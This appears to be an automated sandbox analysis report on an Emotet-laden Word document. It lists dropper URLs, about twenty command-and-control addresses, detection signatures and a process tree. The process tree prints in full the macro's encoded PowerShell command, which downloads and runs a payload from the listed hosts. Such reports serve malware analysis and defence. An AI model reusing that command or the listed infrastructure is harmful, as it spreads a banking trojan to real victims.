Analysis

  • max time kernel
    136s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    29/09/2020, 22:44

General

  • Target
    emotet_e1_2e0fc31a6ff8f20507c6979fa9b5be9e11f13d424e2962ec30f1fc596c069898_2020-09-29__224047611961._doc.doc
  • Size 102KB
  • Sample200929-34pywwf14s
  • SHA256 2e0fc31a6ff8f20507c6979fa9b5be9e11f13d424e2962ec30f1fc596c069898
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://lblcomputacion.com/services/eY3/

  • exe.dropper

    http://shop.homenhealthy.com/wp-includes/Ltj/

  • exe.dropper

    http://raintoday.org/wp-admin/B/

  • exe.dropper

    https://qualitychildcarepreschool.com/emqblk/m/

  • exe.dropper

    https://www.tekadbatam.com/wp-content/Qq/

  • exe.dropper

    https://boke.xiaoxiekeji.top/9a654zor/JnS/

  • exe.dropper

    http://ys.xiaoxiekeji.top/wp-admin/uQY/

Extracted

Family
  • emotet

C2
  • 202.22.141.45:80

  • 37.187.161.206:8080

  • 202.29.239.162:443

  • 80.87.201.221:7080

  • 82.76.111.249:443

  • 216.47.196.104:80

  • 192.241.143.52:8080

  • 192.81.38.31:80

  • 87.106.253.248:8080

  • 64.201.88.132:80

  • 192.241.146.84:8080

  • 12.162.84.2:8080

  • 1.226.84.243:8080

  • 177.129.17.170:443

  • 202.134.4.210:7080

  • 70.169.17.134:80

  • 152.169.22.67:80

  • 5.196.35.138:7080

  • 138.97.60.141:7080

  • 203.205.28.68:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2e0fc31a6ff8f20507c6979fa9b5be9e11f13d424e2962ec30f1fc596c069898_2020-09-29__224047611961._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3308
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABQADcAdAAwADAAbQBzAD0AKAAoACcARgBkACcAKwAnADQAJwApACsAKAAnADQAJwArACcAbgA1AHMAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcABSAG8ARgBpAGwARQBcAHAARABtADQANgB3AHcAXABSADIAWQBIAEEANQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBDAFUAUgBJAHQAYAB5AHAAYABSAE8AVABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAnAHQAJwArACcAbAAnACsAKAAnAHMAMQAnACsAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQB0AGkAMABhAGcAZQAgAD0AIAAoACcAUwAnACsAJwBsACcAKwAoACcAawAwAGwAJwArACcAdgAnACkAKQA7ACQAWAAwADQAdgBlAHIAXwA9ACgAKAAnAEMAJwArACcAdgBsACcAKQArACcAbgAnACsAKAAnAGUAeAAnACsAJwBnACcAKQApADsAJABOAHYAMABqADcAZgBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAEkAJwArACgAJwBRAG0AUABkAG0AJwArACcANAA2AHcAJwArACcAdwBJACcAKQArACcAUQAnACsAKAAnAG0AJwArACcAUgAyAHkAaAAnACsAJwBhADUAOQBJAFEAJwArACcAbQAnACkAKQAgACAALQBSAGUAcABMAEEAYwBFACgAJwBJACcAKwAnAFEAbQAnACkALABbAGMAaABhAHIAXQA5ADIAKQArACQAWQB0AGkAMABhAGcAZQArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEcAdwBnAHYAMgA1ADUAPQAoACgAJwBWACcAKwAnAGoAdAB0AHoAJwApACsAJwB0AF8AJwApADsAJABPAF8AYwBiAHQAOAB3AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcAZQBCAGMAbABJAEUAbgBUADsAJABIAHAAMQAxAGwAdwA0AD0AKAAoACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBsACcAKQArACgAJwBiAGwAYwBvAG0AcAB1AHQAYQAnACsAJwBjAGkAJwArACcAbwAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAHMAZQAnACkAKwAnAHIAdgAnACsAJwBpACcAKwAoACcAYwAnACsAJwBlAHMAJwApACsAKAAnAC8AJwArACcAZQBZACcAKwAnADMALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwBzACcAKwAnAGgAbwAnACsAJwBwAC4AaAAnACkAKwAoACcAbwBtAGUAbgAnACsAJwBoAGUAJwApACsAJwBhACcAKwAnAGwAdAAnACsAKAAnAGgAeQAuAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAJwBpACcAKwAnAG4AJwArACgAJwBjAGwAdQBkAGUAJwArACcAcwAnACkAKwAoACcALwAnACsAJwBMAHQAagAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvAHIAJwArACcAYQBpACcAKQArACgAJwBuAHQAbwBkAGEAJwArACcAeQAnACsAJwAuACcAKQArACgAJwBvAHIAJwArACcAZwAvAHcAcAAnACsAJwAtAGEAZABtACcAKQArACgAJwBpAG4AJwArACcALwBCACcAKwAnAC8AKgBoACcAKwAnAHQAdABwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBxAHUAYQBsAGkAJwArACcAdAB5AGMAJwArACcAaABpACcAKwAnAGwAZABjACcAKQArACgAJwBhACcAKwAnAHIAJwArACcAZQBwACcAKwAnAHIAJwArACcAZQBzAGMAaABvAG8AbAAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGUAbQBxACcAKwAnAGIAJwArACcAbABrAC8AbQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAcwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdwB3ACcAKwAnAHcAJwApACsAJwAuACcAKwAoACcAdAAnACsAJwBlAGsAJwArACcAYQBkAGIAJwApACsAKAAnAGEAJwArACcAdABhAG0AJwApACsAKAAnAC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwBwAC0AYwAnACsAJwBvAG4AJwArACcAdAAnACsAJwBlAG4AdAAvAFEAcQAvACoAJwArACcAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAoACcAcwA6AC8AJwArACcALwBiAG8AawBlAC4AeAAnACsAJwBpACcAKwAnAGEAbwB4AGkAZQBrAGUAagAnACsAJwBpAC4AdABvACcAKQArACcAcAAvACcAKwAnADkAYQAnACsAKAAnADYANQAnACsAJwA0ACcAKQArACgAJwB6ACcAKwAnAG8AcgAvAEoAbgBTAC8AKgBoAHQAdAAnACsAJwBwADoAJwApACsAJwAvACcAKwAoACcALwB5AHMALgB4ACcAKwAnAGkAJwApACsAKAAnAGEAJwArACcAbwB4AGkAZQBrACcAKwAnAGUAJwApACsAJwBqACcAKwAnAGkALgAnACsAJwB0ACcAKwAoACcAbwBwAC8AdwAnACsAJwBwAC0AYQBkACcAKwAnAG0AJwApACsAJwBpAG4AJwArACcALwAnACsAKAAnAHUAUQBZACcAKwAnAC8AJwApACkALgAiAHMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQB0AHgAXwBnADIAbgA9ACgAJwBGACcAKwAnAHMAegAnACsAKAAnAGgAYwByACcAKwAnAG8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJADUANgA3AGIAeABvACAAaQBuACAAJABIAHAAMQAxAGwAdwA0ACkAewB0AHIAeQB7ACQATwBfAGMAYgB0ADgAdwAuACIARABPAFcAYABOAGwAYABvAEEAZABmAEkATABFACIAKAAkAEkANQA2ADcAYgB4AG8ALAAgACQATgB2ADAAagA3AGYAaAApADsAJABOADEAYgBuAGYAXwB3AD0AKAAoACcARAAnACsAJwBfADMAJwApACsAJwA3ADkAJwArACcAcgA4ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABOAHYAMABqADcAZgBoACkALgAiAGwAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAxADMAMgAwACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AJwArACcAawBlAC0ASQB0AGUAbQAnACkAKAAkAE4AdgAwAGoANwBmAGgAKQA7ACQAUwBtAHYAYQBnAG8AcwA9ACgAJwBNACcAKwAoACcAbgBpAGUAdwAnACsAJwAyACcAKQArACcAbgAnACkAOwBiAHIAZQBhAGsAOwAkAEEAXwBfAHMAeAByAGIAPQAoACcATwAnACsAKAAnADYAJwArACcAZwBfACcAKQArACgAJwByACcAKwAnADIAMgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAB3AG4AZgA0AHMAbgA9ACgAJwBPACcAKwAoACcAZAB5AHcAbgAnACsAJwAwAHQAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Users\Admin\Pdm46ww\R2yha59\Slk0lv.exe
      "C:\Users\Admin\Pdm46ww\R2yha59\Slk0lv.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3800
      • C:\Windows\SysWOW64\Windows.Devices.Haptics\cmintegrator.exe
        "C:\Windows\SysWOW64\Windows.Devices.Haptics\cmintegrator.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3928

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/3308-4-0x000001F8583A9000-0x000001F8583AE000-memory.dmp

        memory/3308-1-0x000001F8583A9000-0x000001F8583AE000-memory.dmp

        memory/3308-5-0x000001F8583A6000-0x000001F8583A9000-memory.dmp

        memory/3308-6-0x000001F858514000-0x000001F858519000-memory.dmp

        memory/3308-0-0x000001F84CDA0000-0x000001F84D466000-memory.dmp

        memory/3308-3-0x000001F8583A9000-0x000001F8583AE000-memory.dmp

        memory/3308-2-0x000001F8583A6000-0x000001F8583A9000-memory.dmp

        memory/3492-7-0x00007FFE7F1D0000-0x00007FFE7FBBC000-memory.dmp

        memory/3492-8-0x0000023D3A830000-0x0000023D3A831000-memory.dmp

        memory/3492-9-0x0000023D52FB0000-0x0000023D52FB1000-memory.dmp

        memory/3800-16-0x0000000002310000-0x0000000002320000-memory.dmp

        memory/3928-22-0x00000000020A0000-0x00000000020B0000-memory.dmp